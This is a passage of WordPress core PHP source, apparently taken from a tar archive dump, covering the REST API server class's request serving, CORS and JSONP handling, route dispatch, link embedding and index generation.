@since 4.9.8 * * @return string Subtype for the meta type, or empty string if no specific subtype. */ protected function get_meta_subtype() { return $this->post_type; } /** * Retrieves the type for register_rest_field(). * * @since 4.7.0 * * @see register_rest_field() * * @return string The REST field type. */ public function get_rest_field_type() { return $this->post_type; } } rest-api/fields/class-wp-rest-comment-meta-fields.php000064400000001577147177035020016623 0ustar00endpoints = array( // Meta endpoints. '/' => array( 'callback' => array( $this, 'get_index' ), 'methods' => 'GET', 'args' => array( 'context' => array( 'default' => 'view', ), ), ), '/batch/v1' => array( 'callback' => array( $this, 'serve_batch_request_v1' ), 'methods' => 'POST', 'args' => array( 'validation' => array( 'type' => 'string', 'enum' => array( 'require-all-validate', 'normal' ), 'default' => 'normal', ), 'requests' => array( 'required' => true, 'type' => 'array', 'maxItems' => $this->get_max_batch_size(), 'items' => array( 'type' => 'object', 'properties' => array( 'method' => array( 'type' => 'string', 'enum' => array( 'POST', 'PUT', 'PATCH', 'DELETE' ), 'default' => 'POST', ), 'path' => array( 'type' => 'string', 'required' => true, ), 'body' => array( 'type' => 'object', 'properties' => array(), 'additionalProperties' => true, ), 'headers' => array( 'type' => 'object', 'properties' => array(), 'additionalProperties' => array( 'type' => array( 'string', 'array' ), 'items' => array( 'type' => 'string', ), ), ), ), ), ), ), ), ); } /** * Checks the authentication headers if supplied. * * @since 4.4.0 * * @return WP_Error|null WP_Error indicates unsuccessful login, null indicates successful * or no authentication provided */ public function check_authentication() { /** * Filters REST API authentication errors. * * This is used to pass a WP_Error from an authentication method back to * the API. * * Authentication methods should check first if they're being used, as * multiple authentication methods can be enabled on a site (cookies, * HTTP basic auth, OAuth). If the authentication method hooked in is * not actually being attempted, null should be returned to indicate * another authentication method should check instead. Similarly, * callbacks should ensure the value is `null` before checking for * errors. * * A WP_Error instance can be returned if an error occurs, and this should * match the format used by API methods internally (that is, the `status` * data should be used). A callback can return `true` to indicate that * the authentication method was used, and it succeeded. * * @since 4.4.0 * * @param WP_Error|null|true $errors WP_Error if authentication error, null if authentication * method wasn't used, true if authentication succeeded. */ return apply_filters( 'rest_authentication_errors', null ); } /** * Converts an error to a response object. * * This iterates over all error codes and messages to change it into a flat * array. This enables simpler client behaviour, as it is represented as a * list in JSON rather than an object/map. * * @since 4.4.0 * @since 5.7.0 Converted to a wrapper of {@see rest_convert_error_to_response()}. * * @param WP_Error $error WP_Error instance. * @return WP_REST_Response List of associative arrays with code and message keys. */ protected function error_to_response( $error ) { return rest_convert_error_to_response( $error ); } /** * Retrieves an appropriate error representation in JSON. * * Note: This should only be used in WP_REST_Server::serve_request(), as it * cannot handle WP_Error internally. All callbacks and other internal methods * should instead return a WP_Error with the data set to an array that includes * a 'status' key, with the value being the HTTP status to send. * * @since 4.4.0 * * @param string $code WP_Error-style code. * @param string $message Human-readable message. * @param int $status Optional. HTTP status code to send. Default null. * @return string JSON representation of the error */ protected function json_error( $code, $message, $status = null ) { if ( $status ) { $this->set_status( $status ); } $error = compact( 'code', 'message' ); return wp_json_encode( $error ); } /** * Handles serving a REST API request. * * Matches the current server URI to a route and runs the first matching * callback then outputs a JSON representation of the returned value. * * @since 4.4.0 * * @see WP_REST_Server::dispatch() * * @global WP_User $current_user The currently authenticated user. * * @param string $path Optional. The request route. If not set, `$_SERVER['PATH_INFO']` will be used. * Default null. * @return null|false Null if not served and a HEAD request, false otherwise. */ public function serve_request( $path = null ) { /* @var WP_User|null $current_user */ global $current_user; if ( $current_user instanceof WP_User && ! $current_user->exists() ) { /* * If there is no current user authenticated via other means, clear * the cached lack of user, so that an authenticate check can set it * properly. * * This is done because for authentications such as Application * Passwords, we don't want it to be accepted unless the current HTTP * request is a REST API request, which can't always be identified early * enough in evaluation. */ $current_user = null; } /** * Filters whether JSONP is enabled for the REST API. * * @since 4.4.0 * * @param bool $jsonp_enabled Whether JSONP is enabled. Default true. */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); $jsonp_callback = false; if ( isset( $_GET['_jsonp'] ) ) { $jsonp_callback = $_GET['_jsonp']; } $content_type = ( $jsonp_callback && $jsonp_enabled ) ? 'application/javascript' : 'application/json'; $this->send_header( 'Content-Type', $content_type . '; charset=' . get_option( 'blog_charset' ) ); $this->send_header( 'X-Robots-Tag', 'noindex' ); $api_root = get_rest_url(); if ( ! empty( $api_root ) ) { $this->send_header( 'Link', '<' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"' ); } /* * Mitigate possible JSONP Flash attacks. * * https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ */ $this->send_header( 'X-Content-Type-Options', 'nosniff' ); $expose_headers = array( 'X-WP-Total', 'X-WP-TotalPages', 'Link' ); /** * Filters the list of response headers that are exposed to REST API CORS requests. * * @since 5.5.0 * * @param string[] $expose_headers The list of response headers to expose. */ $expose_headers = apply_filters( 'rest_exposed_cors_headers', $expose_headers ); $this->send_header( 'Access-Control-Expose-Headers', implode( ', ', $expose_headers ) ); $allow_headers = array( 'Authorization', 'X-WP-Nonce', 'Content-Disposition', 'Content-MD5', 'Content-Type', ); /** * Filters the list of request headers that are allowed for REST API CORS requests. * * The allowed headers are passed to the browser to specify which * headers can be passed to the REST API. By default, we allow the * Content-* headers needed to upload files to the media endpoints. * As well as the Authorization and Nonce headers for allowing authentication. * * @since 5.5.0 * * @param string[] $allow_headers The list of request headers to allow. */ $allow_headers = apply_filters( 'rest_allowed_cors_headers', $allow_headers ); $this->send_header( 'Access-Control-Allow-Headers', implode( ', ', $allow_headers ) ); /** * Filters whether to send nocache headers on a REST API request. * * @since 4.4.0 * * @param bool $rest_send_nocache_headers Whether to send no-cache headers. */ $send_no_cache_headers = apply_filters( 'rest_send_nocache_headers', is_user_logged_in() ); if ( $send_no_cache_headers ) { foreach ( wp_get_nocache_headers() as $header => $header_value ) { if ( empty( $header_value ) ) { $this->remove_header( $header ); } else { $this->send_header( $header, $header_value ); } } } /** * Filters whether the REST API is enabled. * * @since 4.4.0 * @deprecated 4.7.0 Use the {@see 'rest_authentication_errors'} filter to * restrict access to the REST API. * * @param bool $rest_enabled Whether the REST API is enabled. Default true. */ apply_filters_deprecated( 'rest_enabled', array( true ), '4.7.0', 'rest_authentication_errors', sprintf( /* translators: %s: rest_authentication_errors */ __( 'The REST API can no longer be completely disabled, the %s filter can be used to restrict access to the API, instead.' ), 'rest_authentication_errors' ) ); if ( $jsonp_callback ) { if ( ! $jsonp_enabled ) { echo $this->json_error( 'rest_callback_disabled', __( 'JSONP support is disabled on this site.' ), 400 ); return false; } if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { echo $this->json_error( 'rest_callback_invalid', __( 'Invalid JSONP callback function.' ), 400 ); return false; } } if ( empty( $path ) ) { if ( isset( $_SERVER['PATH_INFO'] ) ) { $path = $_SERVER['PATH_INFO']; } else { $path = '/'; } } $request = new WP_REST_Request( $_SERVER['REQUEST_METHOD'], $path ); $request->set_query_params( wp_unslash( $_GET ) ); $request->set_body_params( wp_unslash( $_POST ) ); $request->set_file_params( $_FILES ); $request->set_headers( $this->get_headers( wp_unslash( $_SERVER ) ) ); $request->set_body( self::get_raw_data() ); /* * HTTP method override for clients that can't use PUT/PATCH/DELETE. First, we check * $_GET['_method']. If that is not set, we check for the HTTP_X_HTTP_METHOD_OVERRIDE * header. */ if ( isset( $_GET['_method'] ) ) { $request->set_method( $_GET['_method'] ); } elseif ( isset( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) { $request->set_method( $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'] ); } $result = $this->check_authentication(); if ( ! is_wp_error( $result ) ) { $result = $this->dispatch( $request ); } // Normalize to either WP_Error or WP_REST_Response... $result = rest_ensure_response( $result ); // ...then convert WP_Error across. if ( is_wp_error( $result ) ) { $result = $this->error_to_response( $result ); } /** * Filters the REST API response. * * Allows modification of the response before returning. * * @since 4.4.0 * @since 4.5.0 Applied to embedded responses. * * @param WP_HTTP_Response $result Result to send to the client. Usually a `WP_REST_Response`. * @param WP_REST_Server $server Server instance. * @param WP_REST_Request $request Request used to generate the response. */ $result = apply_filters( 'rest_post_dispatch', rest_ensure_response( $result ), $this, $request ); // Wrap the response in an envelope if asked for. if ( isset( $_GET['_envelope'] ) ) { $embed = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false; $result = $this->envelope_response( $result, $embed ); } // Send extra data from response objects. $headers = $result->get_headers(); $this->send_headers( $headers ); $code = $result->get_status(); $this->set_status( $code ); /** * Filters whether the REST API request has already been served. * * Allow sending the request manually - by returning true, the API result * will not be sent to the client. * * @since 4.4.0 * * @param bool $served Whether the request has already been served. * Default false. * @param WP_HTTP_Response $result Result to send to the client. Usually a `WP_REST_Response`. * @param WP_REST_Request $request Request used to generate the response. * @param WP_REST_Server $server Server instance. */ $served = apply_filters( 'rest_pre_serve_request', false, $result, $request, $this ); if ( ! $served ) { if ( 'HEAD' === $request->get_method() ) { return null; } // Embed links inside the request. $embed = isset( $_GET['_embed'] ) ? rest_parse_embed_param( $_GET['_embed'] ) : false; $result = $this->response_to_data( $result, $embed ); /** * Filters the REST API response. * * Allows modification of the response data after inserting * embedded data (if any) and before echoing the response data. * * @since 4.8.1 * * @param array $result Response data to send to the client. * @param WP_REST_Server $server Server instance. * @param WP_REST_Request $request Request used to generate the response. */ $result = apply_filters( 'rest_pre_echo_response', $result, $this, $request ); // The 204 response shouldn't have a body. if ( 204 === $code || null === $result ) { return null; } $result = wp_json_encode( $result ); $json_error_message = $this->get_json_last_error(); if ( $json_error_message ) { $this->set_status( 500 ); $json_error_obj = new WP_Error( 'rest_encode_error', $json_error_message, array( 'status' => 500 ) ); $result = $this->error_to_response( $json_error_obj ); $result = wp_json_encode( $result->data ); } if ( $jsonp_callback ) { // Prepend '/**/' to mitigate possible JSONP Flash attacks. // https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ echo '/**/' . $jsonp_callback . '(' . $result . ')'; } else { echo $result; } } return null; } /** * Converts a response to data to send. * * @since 4.4.0 * @since 5.4.0 The $embed parameter can now contain a list of link relations to include. * * @param WP_REST_Response $response Response object. * @param bool|string[] $embed Whether to embed all links, a filtered list of link relations, or no links. * @return array { * Data with sub-requests embedded. * * @type array $_links Links. * @type array $_embedded Embedded objects. * } */ public function response_to_data( $response, $embed ) { $data = $response->get_data(); $links = self::get_compact_response_links( $response ); if ( ! empty( $links ) ) { // Convert links to part of the data. $data['_links'] = $links; } if ( $embed ) { $this->embed_cache = array(); // Determine if this is a numeric array. if ( wp_is_numeric_array( $data ) ) { foreach ( $data as $key => $item ) { $data[ $key ] = $this->embed_links( $item, $embed ); } } else { $data = $this->embed_links( $data, $embed ); } $this->embed_cache = array(); } return $data; } /** * Retrieves links from a response. * * Extracts the links from a response into a structured hash, suitable for * direct output. * * @since 4.4.0 * * @param WP_REST_Response $response Response to extract links from. * @return array Map of link relation to list of link hashes. */ public static function get_response_links( $response ) { $links = $response->get_links(); if ( empty( $links ) ) { return array(); } // Convert links to part of the data. $data = array(); foreach ( $links as $rel => $items ) { $data[ $rel ] = array(); foreach ( $items as $item ) { $attributes = $item['attributes']; $attributes['href'] = $item['href']; $data[ $rel ][] = $attributes; } } return $data; } /** * Retrieves the CURIEs (compact URIs) used for relations. * * Extracts the links from a response into a structured hash, suitable for * direct output. * * @since 4.5.0 * * @param WP_REST_Response $response Response to extract links from. * @return array Map of link relation to list of link hashes. */ public static function get_compact_response_links( $response ) { $links = self::get_response_links( $response ); if ( empty( $links ) ) { return array(); } $curies = $response->get_curies(); $used_curies = array(); foreach ( $links as $rel => $items ) { // Convert $rel URIs to their compact versions if they exist. foreach ( $curies as $curie ) { $href_prefix = substr( $curie['href'], 0, strpos( $curie['href'], '{rel}' ) ); if ( strpos( $rel, $href_prefix ) !== 0 ) { continue; } // Relation now changes from '$uri' to '$curie:$relation'. $rel_regex = str_replace( '\{rel\}', '(.+)', preg_quote( $curie['href'], '!' ) ); preg_match( '!' . $rel_regex . '!', $rel, $matches ); if ( $matches ) { $new_rel = $curie['name'] . ':' . $matches[1]; $used_curies[ $curie['name'] ] = $curie; $links[ $new_rel ] = $items; unset( $links[ $rel ] ); break; } } } // Push the curies onto the start of the links array. if ( $used_curies ) { $links['curies'] = array_values( $used_curies ); } return $links; } /** * Embeds the links from the data into the request. * * @since 4.4.0 * @since 5.4.0 The $embed parameter can now contain a list of link relations to include. * * @param array $data Data from the request. * @param bool|string[] $embed Whether to embed all links or a filtered list of link relations. * @return array { * Data with sub-requests embedded. * * @type array $_links Links. * @type array $_embedded Embedded objects. * } */ protected function embed_links( $data, $embed = true ) { if ( empty( $data['_links'] ) ) { return $data; } $embedded = array(); foreach ( $data['_links'] as $rel => $links ) { // If a list of relations was specified, and the link relation // is not in the list of allowed relations, don't process the link. if ( is_array( $embed ) && ! in_array( $rel, $embed, true ) ) { continue; } $embeds = array(); foreach ( $links as $item ) { // Determine if the link is embeddable. if ( empty( $item['embeddable'] ) ) { // Ensure we keep the same order. $embeds[] = array(); continue; } if ( ! array_key_exists( $item['href'], $this->embed_cache ) ) { // Run through our internal routing and serve. $request = WP_REST_Request::from_url( $item['href'] ); if ( ! $request ) { $embeds[] = array(); continue; } // Embedded resources get passed context=embed. if ( empty( $request['context'] ) ) { $request['context'] = 'embed'; } $response = $this->dispatch( $request ); /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $response = apply_filters( 'rest_post_dispatch', rest_ensure_response( $response ), $this, $request ); $this->embed_cache[ $item['href'] ] = $this->response_to_data( $response, false ); } $embeds[] = $this->embed_cache[ $item['href'] ]; } // Determine if any real links were found. $has_links = count( array_filter( $embeds ) ); if ( $has_links ) { $embedded[ $rel ] = $embeds; } } if ( ! empty( $embedded ) ) { $data['_embedded'] = $embedded; } return $data; } /** * Wraps the response in an envelope. * * The enveloping technique is used to work around browser/client * compatibility issues. Essentially, it converts the full HTTP response to * data instead. * * @since 4.4.0 * @since 6.0.0 The $embed parameter can now contain a list of link relations to include * * @param WP_REST_Response $response Response object. * @param bool|string[] $embed Whether to embed all links, a filtered list of link relations, or no links. * @return WP_REST_Response New response with wrapped data */ public function envelope_response( $response, $embed ) { $envelope = array( 'body' => $this->response_to_data( $response, $embed ), 'status' => $response->get_status(), 'headers' => $response->get_headers(), ); /** * Filters the enveloped form of a REST API response. * * @since 4.4.0 * * @param array $envelope { * Envelope data. * * @type array $body Response data. * @type int $status The 3-digit HTTP status code. * @type array $headers Map of header name to header value. * } * @param WP_REST_Response $response Original response data. */ $envelope = apply_filters( 'rest_envelope_response', $envelope, $response ); // Ensure it's still a response and return. return rest_ensure_response( $envelope ); } /** * Registers a route to the server. * * @since 4.4.0 * * @param string $namespace Namespace. * @param string $route The REST route. * @param array $route_args Route arguments. * @param bool $override Optional. Whether the route should be overridden if it already exists. * Default false. */ public function register_route( $namespace, $route, $route_args, $override = false ) { if ( ! isset( $this->namespaces[ $namespace ] ) ) { $this->namespaces[ $namespace ] = array(); $this->register_route( $namespace, '/' . $namespace, array( array( 'methods' => self::READABLE, 'callback' => array( $this, 'get_namespace_index' ), 'args' => array( 'namespace' => array( 'default' => $namespace, ), 'context' => array( 'default' => 'view', ), ), ), ) ); } // Associative to avoid double-registration. $this->namespaces[ $namespace ][ $route ] = true; $route_args['namespace'] = $namespace; if ( $override || empty( $this->endpoints[ $route ] ) ) { $this->endpoints[ $route ] = $route_args; } else { $this->endpoints[ $route ] = array_merge( $this->endpoints[ $route ], $route_args ); } } /** * Retrieves the route map. * * The route map is an associative array with path regexes as the keys. The * value is an indexed array with the callback function/method as the first * item, and a bitmask of HTTP methods as the second item (see the class * constants). * * Each route can be mapped to more than one callback by using an array of * the indexed arrays. This allows mapping e.g. GET requests to one callback * and POST requests to another. * * Note that the path regexes (array keys) must have @ escaped, as this is * used as the delimiter with preg_match() * * @since 4.4.0 * @since 5.4.0 Add $namespace parameter. * * @param string $namespace Optionally, only return routes in the given namespace. * @return array `'/path/regex' => array( $callback, $bitmask )` or * `'/path/regex' => array( array( $callback, $bitmask ), ...)`. */ public function get_routes( $namespace = '' ) { $endpoints = $this->endpoints; if ( $namespace ) { $endpoints = wp_list_filter( $endpoints, array( 'namespace' => $namespace ) ); } /** * Filters the array of available REST API endpoints. * * @since 4.4.0 * * @param array $endpoints The available endpoints. An array of matching regex patterns, each mapped * to an array of callbacks for the endpoint. These take the format * `'/path/regex' => array( $callback, $bitmask )` or * `'/path/regex' => array( array( $callback, $bitmask ). */ $endpoints = apply_filters( 'rest_endpoints', $endpoints ); // Normalize the endpoints. $defaults = array( 'methods' => '', 'accept_json' => false, 'accept_raw' => false, 'show_in_index' => true, 'args' => array(), ); foreach ( $endpoints as $route => &$handlers ) { if ( isset( $handlers['callback'] ) ) { // Single endpoint, add one deeper. $handlers = array( $handlers ); } if ( ! isset( $this->route_options[ $route ] ) ) { $this->route_options[ $route ] = array(); } foreach ( $handlers as $key => &$handler ) { if ( ! is_numeric( $key ) ) { // Route option, move it to the options. $this->route_options[ $route ][ $key ] = $handler; unset( $handlers[ $key ] ); continue; } $handler = wp_parse_args( $handler, $defaults ); // Allow comma-separated HTTP methods. if ( is_string( $handler['methods'] ) ) { $methods = explode( ',', $handler['methods'] ); } elseif ( is_array( $handler['methods'] ) ) { $methods = $handler['methods']; } else { $methods = array(); } $handler['methods'] = array(); foreach ( $methods as $method ) { $method = strtoupper( trim( $method ) ); $handler['methods'][ $method ] = true; } } } return $endpoints; } /** * Retrieves namespaces registered on the server. * * @since 4.4.0 * * @return string[] List of registered namespaces. */ public function get_namespaces() { return array_keys( $this->namespaces ); } /** * Retrieves specified options for a route. * * @since 4.4.0 * * @param string $route Route pattern to fetch options for. * @return array|null Data as an associative array if found, or null if not found. */ public function get_route_options( $route ) { if ( ! isset( $this->route_options[ $route ] ) ) { return null; } return $this->route_options[ $route ]; } /** * Matches the request to a callback and call it. * * @since 4.4.0 * * @param WP_REST_Request $request Request to attempt dispatching. * @return WP_REST_Response Response returned by the callback. */ public function dispatch( $request ) { /** * Filters the pre-calculated result of a REST API dispatch request. * * Allow hijacking the request before dispatching by returning a non-empty. The returned value * will be used to serve the request instead. * * @since 4.4.0 * * @param mixed $result Response to replace the requested version with. Can be anything * a normal endpoint can return, or null to not hijack the request. * @param WP_REST_Server $server Server instance. * @param WP_REST_Request $request Request used to generate the response. */ $result = apply_filters( 'rest_pre_dispatch', null, $this, $request ); if ( ! empty( $result ) ) { return $result; } $error = null; $matched = $this->match_request_to_handler( $request ); if ( is_wp_error( $matched ) ) { return $this->error_to_response( $matched ); } list( $route, $handler ) = $matched; if ( ! is_callable( $handler['callback'] ) ) { $error = new WP_Error( 'rest_invalid_handler', __( 'The handler for the route is invalid.' ), array( 'status' => 500 ) ); } if ( ! is_wp_error( $error ) ) { $check_required = $request->has_valid_params(); if ( is_wp_error( $check_required ) ) { $error = $check_required; } else { $check_sanitized = $request->sanitize_params(); if ( is_wp_error( $check_sanitized ) ) { $error = $check_sanitized; } } } return $this->respond_to_request( $request, $route, $handler, $error ); } /** * Matches a request object to its handler. * * @access private * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found. */ protected function match_request_to_handler( $request ) { $method = $request->get_method(); $path = $request->get_route(); $with_namespace = array(); foreach ( $this->get_namespaces() as $namespace ) { if ( 0 === strpos( trailingslashit( ltrim( $path, '/' ) ), $namespace ) ) { $with_namespace[] = $this->get_routes( $namespace ); } } if ( $with_namespace ) { $routes = array_merge( ...$with_namespace ); } else { $routes = $this->get_routes(); } foreach ( $routes as $route => $handlers ) { $match = preg_match( '@^' . $route . '$@i', $path, $matches ); if ( ! $match ) { continue; } $args = array(); foreach ( $matches as $param => $value ) { if ( ! is_int( $param ) ) { $args[ $param ] = $value; } } foreach ( $handlers as $handler ) { $callback = $handler['callback']; $response = null; // Fallback to GET method if no HEAD method is registered. $checked_method = $method; if ( 'HEAD' === $method && empty( $handler['methods']['HEAD'] ) ) { $checked_method = 'GET'; } if ( empty( $handler['methods'][ $checked_method ] ) ) { continue; } if ( ! is_callable( $callback ) ) { return array( $route, $handler ); } $request->set_url_params( $args ); $request->set_attributes( $handler ); $defaults = array(); foreach ( $handler['args'] as $arg => $options ) { if ( isset( $options['default'] ) ) { $defaults[ $arg ] = $options['default']; } } $request->set_default_params( $defaults ); return array( $route, $handler ); } } return new WP_Error( 'rest_no_route', __( 'No route was found matching the URL and request method.' ), array( 'status' => 404 ) ); } /** * Dispatches the request to the callback handler. * * @access private * @since 5.6.0 * * @param WP_REST_Request $request The request object. * @param string $route The matched route regex. * @param array $handler The matched route handler. * @param WP_Error|null $response The current error object if any. * @return WP_REST_Response */ protected function respond_to_request( $request, $route, $handler, $response ) { /** * Filters the response before executing any REST API callbacks. * * Allows plugins to perform additional validation after a * request is initialized and matched to a registered route, * but before it is executed. * * Note that this filter will not be called for requests that * fail to authenticate or match to a registered route. * * @since 4.7.0 * * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client. * Usually a WP_REST_Response or WP_Error. * @param array $handler Route handler used for the request. * @param WP_REST_Request $request Request used to generate the response. */ $response = apply_filters( 'rest_request_before_callbacks', $response, $handler, $request ); // Check permission specified on the route. if ( ! is_wp_error( $response ) && ! empty( $handler['permission_callback'] ) ) { $permission = call_user_func( $handler['permission_callback'], $request ); if ( is_wp_error( $permission ) ) { $response = $permission; } elseif ( false === $permission || null === $permission ) { $response = new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to do that.' ), array( 'status' => rest_authorization_required_code() ) ); } } if ( ! is_wp_error( $response ) ) { /** * Filters the REST API dispatch request result. * * Allow plugins to override dispatching the request. * * @since 4.4.0 * @since 4.5.0 Added `$route` and `$handler` parameters. * * @param mixed $dispatch_result Dispatch result, will be used if not empty. * @param WP_REST_Request $request Request used to generate the response. * @param string $route Route matched for the request. * @param array $handler Route handler used for the request. */ $dispatch_result = apply_filters( 'rest_dispatch_request', null, $request, $route, $handler ); // Allow plugins to halt the request via this filter. if ( null !== $dispatch_result ) { $response = $dispatch_result; } else { $response = call_user_func( $handler['callback'], $request ); } } /** * Filters the response immediately after executing any REST API * callbacks. * * Allows plugins to perform any needed cleanup, for example, * to undo changes made during the {@see 'rest_request_before_callbacks'} * filter. * * Note that this filter will not be called for requests that * fail to authenticate or match to a registered route. * * Note that an endpoint's `permission_callback` can still be * called after this filter - see `rest_send_allow_header()`. * * @since 4.7.0 * * @param WP_REST_Response|WP_HTTP_Response|WP_Error|mixed $response Result to send to the client. * Usually a WP_REST_Response or WP_Error. * @param array $handler Route handler used for the request. * @param WP_REST_Request $request Request used to generate the response. */ $response = apply_filters( 'rest_request_after_callbacks', $response, $handler, $request ); if ( is_wp_error( $response ) ) { $response = $this->error_to_response( $response ); } else { $response = rest_ensure_response( $response ); } $response->set_matched_route( $route ); $response->set_matched_handler( $handler ); return $response; } /** * Returns if an error occurred during most recent JSON encode/decode. * * Strings to be translated will be in format like * "Encoding error: Maximum stack depth exceeded". * * @since 4.4.0 * * @return false|string Boolean false or string error message. */ protected function get_json_last_error() { $last_error_code = json_last_error(); if ( JSON_ERROR_NONE === $last_error_code || empty( $last_error_code ) ) { return false; } return json_last_error_msg(); } /** * Retrieves the site index. * * This endpoint describes the capabilities of the site. * * @since 4.4.0 * * @param array $request { * Request. * * @type string $context Context. * } * @return WP_REST_Response The API root index data. */ public function get_index( $request ) { // General site data. $available = array( 'name' => get_option( 'blogname' ), 'description' => get_option( 'blogdescription' ), 'url' => get_option( 'siteurl' ), 'home' => home_url(), 'gmt_offset' => get_option( 'gmt_offset' ), 'timezone_string' => get_option( 'timezone_string' ), 'namespaces' => array_keys( $this->namespaces ), 'authentication' => array(), 'routes' => $this->get_data_for_routes( $this->get_routes(), $request['context'] ), ); $response = new WP_REST_Response( $available ); $response->add_link( 'help', 'https://developer.wordpress.org/rest-api/' ); $this->add_active_theme_link_to_index( $response ); $this->add_site_logo_to_index( $response ); $this->add_site_icon_to_index( $response ); /** * Filters the REST API root index data. * * This contains the data describing the API. This includes information * about supported authentication schemes, supported namespaces, routes * available on the API, and a small amount of data about the site. * * @since 4.4.0 * @since 6.0.0 Added `$request` parameter. * * @param WP_REST_Response $response Response data. * @param WP_REST_Request $request Request data. */ return apply_filters( 'rest_index', $response, $request ); } /** * Adds a link to the active theme for users who have proper permissions. * * @since 5.7.0 * * @param WP_REST_Response $response REST API response. */ protected function add_active_theme_link_to_index( WP_REST_Response $response ) { $should_add = current_user_can( 'switch_themes' ) || current_user_can( 'manage_network_themes' ); if ( ! $should_add && current_user_can( 'edit_posts' ) ) { $should_add = true; } if ( ! $should_add ) { foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { $should_add = true; break; } } } if ( $should_add ) { $theme = wp_get_theme(); $response->add_link( 'https://api.w.org/active-theme', rest_url( 'wp/v2/themes/' . $theme->get_stylesheet() ) ); } } /** * Exposes the site logo through the WordPress REST API. * * This is used for fetching this information when user has no rights * to update settings. * * @since 5.8.0 * * @param WP_REST_Response $response REST API response. */ protected function add_site_logo_to_index( WP_REST_Response $response ) { $site_logo_id = get_theme_mod( 'custom_logo', 0 ); $this->add_image_to_index( $response, $site_logo_id, 'site_logo' ); } /** * Exposes the site icon through the WordPress REST API. * * This is used for fetching this information when user has no rights * to update settings. * * @since 5.9.0 * * @param WP_REST_Response $response REST API response. */ protected function add_site_icon_to_index( WP_REST_Response $response ) { $site_icon_id = get_option( 'site_icon', 0 ); $this->add_image_to_index( $response, $site_icon_id, 'site_icon' ); } /** * Exposes an image through the WordPress REST API. * This is used for fetching this information when user has no rights * to update settings. * * @since 5.9.0 * * @param WP_REST_Response $response REST API response. * @param int $image_id Image attachment ID. * @param string $type Type of Image. */ protected function add_image_to_index( WP_REST_Response $response, $image_id, $type ) { $response->data[ $type ] = (int) $image_id; if ( $image_id ) { $response->add_link( 'https://api.w.org/featuredmedia', rest_url( rest_get_route_for_post( $image_id ) ), array( 'embeddable' => true, 'type' => $type, ) ); } } /** * Retrieves the index for a namespace. * * @since 4.4.0 * * @param WP_REST_Request $request REST request instance. * @return WP_REST_Response|WP_Error WP_REST_Response instance if the index was found, * WP_Error if the namespace isn't set. */ public function get_namespace_index( $request ) { $namespace = $request['namespace']; if ( ! isset( $this->namespaces[ $namespace ] ) ) { return new WP_Error( 'rest_invalid_namespace', __( 'The specified namespace could not be found.' ), array( 'status' => 404 ) ); } $routes = $this->namespaces[ $namespace ]; $endpoints = array_intersect_key( $this->get_routes(), $routes ); $data = array( 'namespace' => $namespace, 'routes' => $this->get_data_for_routes( $endpoints, $request['context'] ), ); $response = rest_ensure_response( $data ); // Link to the root index. $response->add_link( 'up', rest_url( '/' ) ); /** * Filters the REST API namespace index data. * * This typically is just the route data for the namespace, but you can * add any data you'd like here. * * @since 4.4.0 * * @param WP_REST_Response $response Response data. * @param WP_REST_Request $request Request data. The namespace is passed as the 'namespace' parameter. */ return apply_filters( 'rest_namespace_index', $response, $request ); } /** * Retrieves the publicly-visible data for routes. * * @since 4.4.0 * * @param array $routes Routes to get data for. * @param string $context Optional. Context for data. Accepts 'view' or 'help'. Default 'view'. * @return array[] Route data to expose in indexes, keyed by route. */ public function get_data_for_routes( $routes, $context = 'view' ) { $available = array(); // Find the available routes. foreach ( $routes as $route => $callbacks ) { $data = $this->get_data_for_route( $route, $callbacks, $context ); if ( empty( $data ) ) { continue; } /** * Filters the publicly-visible data for a single REST API route. * * @since 4.4.0 * * @param array $data Publicly-visible data for the route. */ $available[ $route ] = apply_filters( 'rest_endpoints_description', $data ); } /** * Filters the publicly-visible data for REST API routes. * * This data is exposed on indexes and can be used by clients or * developers to investigate the site and find out how to use it. It * acts as a form of self-documentation. * * @since 4.4.0 * * @param array[] $available Route data to expose in indexes, keyed by route. * @param array $routes Internal route data as an associative array. */ return apply_filters( 'rest_route_data', $available, $routes ); } /** * Retrieves publicly-visible data for the route. * * @since 4.4.0 * * @param string $route Route to get data for. * @param array $callbacks Callbacks to convert to data. * @param string $context Optional. Context for the data. Accepts 'view' or 'help'. Default 'view'. * @return array|null Data for the route, or null if no publicly-visible data. */ public function get_data_for_route( $route, $callbacks, $context = 'view' ) { $data = array( 'namespace' => '', 'methods' => array(), 'endpoints' => array(), ); $allow_batch = false; if ( isset( $this->route_options[ $route ] ) ) { $options = $this->route_options[ $route ]; if ( isset( $options['namespace'] ) ) { $data['namespace'] = $options['namespace']; } $allow_batch = isset( $options['allow_batch'] ) ? $options['allow_batch'] : false; if ( isset( $options['schema'] ) && 'help' === $context ) { $data['schema'] = call_user_func( $options['schema'] ); } } $allowed_schema_keywords = array_flip( rest_get_allowed_schema_keywords() ); $route = preg_replace( '#\(\?P<(\w+?)>.*?\)#', '{$1}', $route ); foreach ( $callbacks as $callback ) { // Skip to the next route if any callback is hidden. if ( empty( $callback['show_in_index'] ) ) { continue; } $data['methods'] = array_merge( $data['methods'], array_keys( $callback['methods'] ) ); $endpoint_data = array( 'methods' => array_keys( $callback['methods'] ), ); $callback_batch = isset( $callback['allow_batch'] ) ? $callback['allow_batch'] : $allow_batch; if ( $callback_batch ) { $endpoint_data['allow_batch'] = $callback_batch; } if ( isset( $callback['args'] ) ) { $endpoint_data['args'] = array(); foreach ( $callback['args'] as $key => $opts ) { $arg_data = array_intersect_key( $opts, $allowed_schema_keywords ); $arg_data['required'] = ! empty( $opts['required'] ); $endpoint_data['args'][ $key ] = $arg_data; } } $data['endpoints'][] = $endpoint_data; // For non-variable routes, generate links. if ( strpos( $route, '{' ) === false ) { $data['_links'] = array( 'self' => array( array( 'href' => rest_url( $route ), 